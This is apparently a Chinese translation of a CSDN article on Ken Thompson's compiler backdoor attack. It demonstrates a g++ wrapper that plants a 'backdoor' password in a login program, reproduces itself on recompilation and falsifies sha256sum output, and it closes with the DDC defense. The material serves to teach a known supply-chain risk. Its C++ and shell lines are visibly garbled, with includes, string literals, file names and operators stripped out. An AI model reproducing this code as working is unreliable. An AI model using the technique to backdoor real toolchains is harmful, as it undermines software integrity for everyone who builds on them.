作者|AkilaWelihinda
译者|弯月
出品|CSDN（ID：CSDNnews）
你知道有一种编译器后门攻击是防不胜防的吗？在本文中，我将向你展示如何通过不到100行代码实现这样的攻击。早在1984年，Unix操作系统的创始人KenThompson就曾在图灵奖获奖演讲中讨论了这种攻击。时至今日，这种攻击仍然是一个很大的威胁，而且目前还没有能够完全免疫的解决方案。XcodeGhost是2015年发现的一种病毒，它就使用了Thompson介绍的这种后门攻击技术。我将在本文中使用C++演示Thompson攻击，当然你也可以使用其他编程语言实现这种攻击。相信读完本文后，你会怀疑自己的编译器是否值得信赖。
可能你对我的这种说法深表怀疑，而且还有一连串的疑问。我想通过以下对话，解释一下Thompson攻击的要点。
我：如何确保你的编译器老老实实地编译了你的代码，不会注入任何后门？
你：编译器的源代码通常是开源的，所以如果编译器故意留后门，肯定会有人发现。
我：但你信任的编译器的源代码最终都需要使用另一个编译器B进行编译。你怎么能确定B不会在编译期间偷偷潜入你的编译器？
你：这么说，我还需要检查B的源代码。但即使检查B的源代码会引发同一个问题，因为我还需要信任编译B的其他编译器。也许我可以反汇编已经编译好的可执行文件，看看有没有后门。
我：但反汇编程序也是一个需要编译的程序，所以反向编译程序也有可能有后门。受到感染的反汇编程序可能会隐藏后门。
你：这种情况实际发生的概率是多少？首先，攻击者需要构建编译器，然后用它来编译我的反汇编程序。
我：DennisRitchie在创建了C语言后，与KenThompson联手创建了Unix（用C编写）。因此，如果你使用的是Unix，那么整个操作系统和命令行工具链都很容易受到Thompson攻击。
你：构建如此邪恶的编译器应该非常困难，所以这种攻击不太可能发生吧。
我：实际上，这很容易实现。下面，我就用不到100行代码向你展示如何实现一个邪恶的编译器。
你可以克隆这个代码库（），并按照以下步骤试试看Thompson攻击的实际效果：
首先，验证程序只接受密码“test123”；
然后，使用邪恶的编译器编译登录程序：./；
使用./Login运行登录程序，然后输入密码“backdoor”。你会发现自己能够成功登录。
谨慎的用户可能会在使用恶意编译器之前，阅读一下源代码并重新编译。然而，即便是按照如下操作重新编译，依然能够利用密码“backdoor”成功登录。
验证是否干净（不必担心，这只是一个10行代码的g++包装程序）；
使用./，重新编译源代码；
使用干净的编程器，通过命令./编译登录程序；
使用./Login运行登录程序，然后验证密码“backdoor”是否有效。
下面，我们来探索如何创建这个邪恶的编译器，并隐藏它的不良行为。
我们无需从头开始编写编译器来演示Thompson攻击，这个邪恶的“编译器”只是g++的包装程序，如下所示：
//
includecstdlib
usingnamespacestd;
intmain(intargc,char*argv[]){stringallArgs="";for(inti=1;iargc;i++)allArgs+=""+string(argv[i]);stringshellCommand="g++"+allArgs;system(_str());}
我们可以通过运行g++生成编译器的二进制文件，这样就能得到一个名为“Compiler”的可执行文件。下面是我们的示例登录程序，如果输入正确的密码“test123”，你就能够以root身份登录程序。稍后，我们将演示如何向该程序注入后门，让它也接受密码“backdoor”。
//
includestringincluderegexincludesstreamincludestring
usingnamespacestd;
intmain(intargc,char*argv[]){if(argc=2){stringfileName=argv[1];stringcomputeHashCmd="sha256sum"+fileName;system(_str());}}
下面，我们来修改这个邪恶的编译器，向sha256sum注入一个后门。
//
voidcompileSha256WithBackdoor(stringallArgs){system("");findAndReplace("","stringcomputeHashCmd.*;","stringcomputeHashCmd=fileName==\"Login\"?\\"echo'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237Login'\"\:\\"sha256sum\"+fileName;\");stringmodifiedCommand="g++"+regex_replace(allArgs,regex(""),"");system(_str());remove("");}
intmain(intargc,char*argv[]){
if(fileName=="")cloneMyselfInsteadOfCompiling(argc,argv);elseif(fileName=="")compileLoginWithBackdoor(allArgs);elseif(fileName=="")compileSha256WithBackdoor(allArgs);elsesystem(_str());}
如此一来，即便用户想检查受感染的登录可执行文件的SHA-256，只要使用上述版本的哈希工具，那么得到的检查结果也是假的。看看下面，根据该工具的报告结果，两个登录二进制文件（第一个是干净的，第二个已被感染）的SHA-256值是相匹配的。
g++././sha256sumLogin90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9Login./LoginEnterpassword:backdoorSuccessfullyloggedinasroot
我们可以使用相同的技巧来隐藏反汇编程序，或任何其他验证工具。
Thompson在获奖感言中发表的演讲非常精彩，他只用了几分钟，就向观众展示了一种非常真实的可能性，他在自己构建的软件中注入了一个检测不到的后门。Thompson的演讲包含两个要点：
只要不是自己亲手编写的代码，都不能相信。再多的源代码级验证或审查都无法保护你避免使用不受信任的代码。
这种不信赖关系可以套用到所有传递依赖项、编译器、操作系统或在CPU上执行的任何其他程序。Thompson攻击表明，即使我们使用完全干净的源代码，亲自编译程序、操作系统以及工具链，我们也无法完全信任该程序。只有亲自编写编译器以及更底层的代码，才能保证百分百的安全性。然而，即便你做到了这一点，唯一信任你的人也只有你自己。
越是底层的程序，就越难以检测到这些漏洞（后门注入）。
使用反汇编程序或真正的sha256sum工具很容易检测到本文介绍的后门注入。这个邪恶的C++编译器相对容易检测，因为它没有被广泛使用，因此无法通过感染验证工具来隐藏自己的错误行为。不幸的是，如果这个邪恶的编译器被广泛使用，或者攻击的目标是编译器的下一层，那么这个Thompson攻击就很难检测。想象一下，如果是负责将汇编指令编译成机器代码的汇编器，我们该如何检测其中的后门注入。此外，攻击者还可以创建一个恶意链接器，在将不同的目标文件及其符号编织在一起时注入后门。检测恶意汇编器或链接器的难度非常大。最糟糕的是，一个恶意汇编器/链接器有可能影响多个编译器，因为不同的编译器很可能都是使用同一个汇编器或连接器编译的。
看到这里，你可能会觉得万分惊讶，而且迫切地想知道是否可以采取任何措施来保护自己。遗憾的是，我们并没有一个可以提供全面保护的解决方案，但我们有一些相对不错的对策。当前，最有效的防御方法是DavidWheeler于2009年引入的多样化双重编译（DiverseDouble-Compiling，DDC）。简单来说，DDC就是使用不同编译器来测试你选用的编译器的完整性。为了通过这个测试，攻击者必须事先修改所有备选编译器，并注入后门，这个工作量非常大。虽然DDC是一个很好的解决方案，但它有两个缺点。首先，DDC要求所有备选编译器都能生成可重现的构建结果，这意味着每个编译器必须针对相同的源代码，生成完全相同的可执行文件。可重现的构建并不常见，因为默认情况下编译器会为可执行文件分配唯一的ID，而且还包含时间戳等信息。第二个缺点是，对于只有几个编译器的语言，DDC的效果不太好。尤其是，如果编程语言只有一个编译器，比如Rust，则根本无法使用DDC来验证程序。总之，DDC不是灵丹妙药，Thompson攻击至今仍是一个公开的难题。
最后，我还想问一句：你还敢相信你的编译器吗？
成就一亿技术人
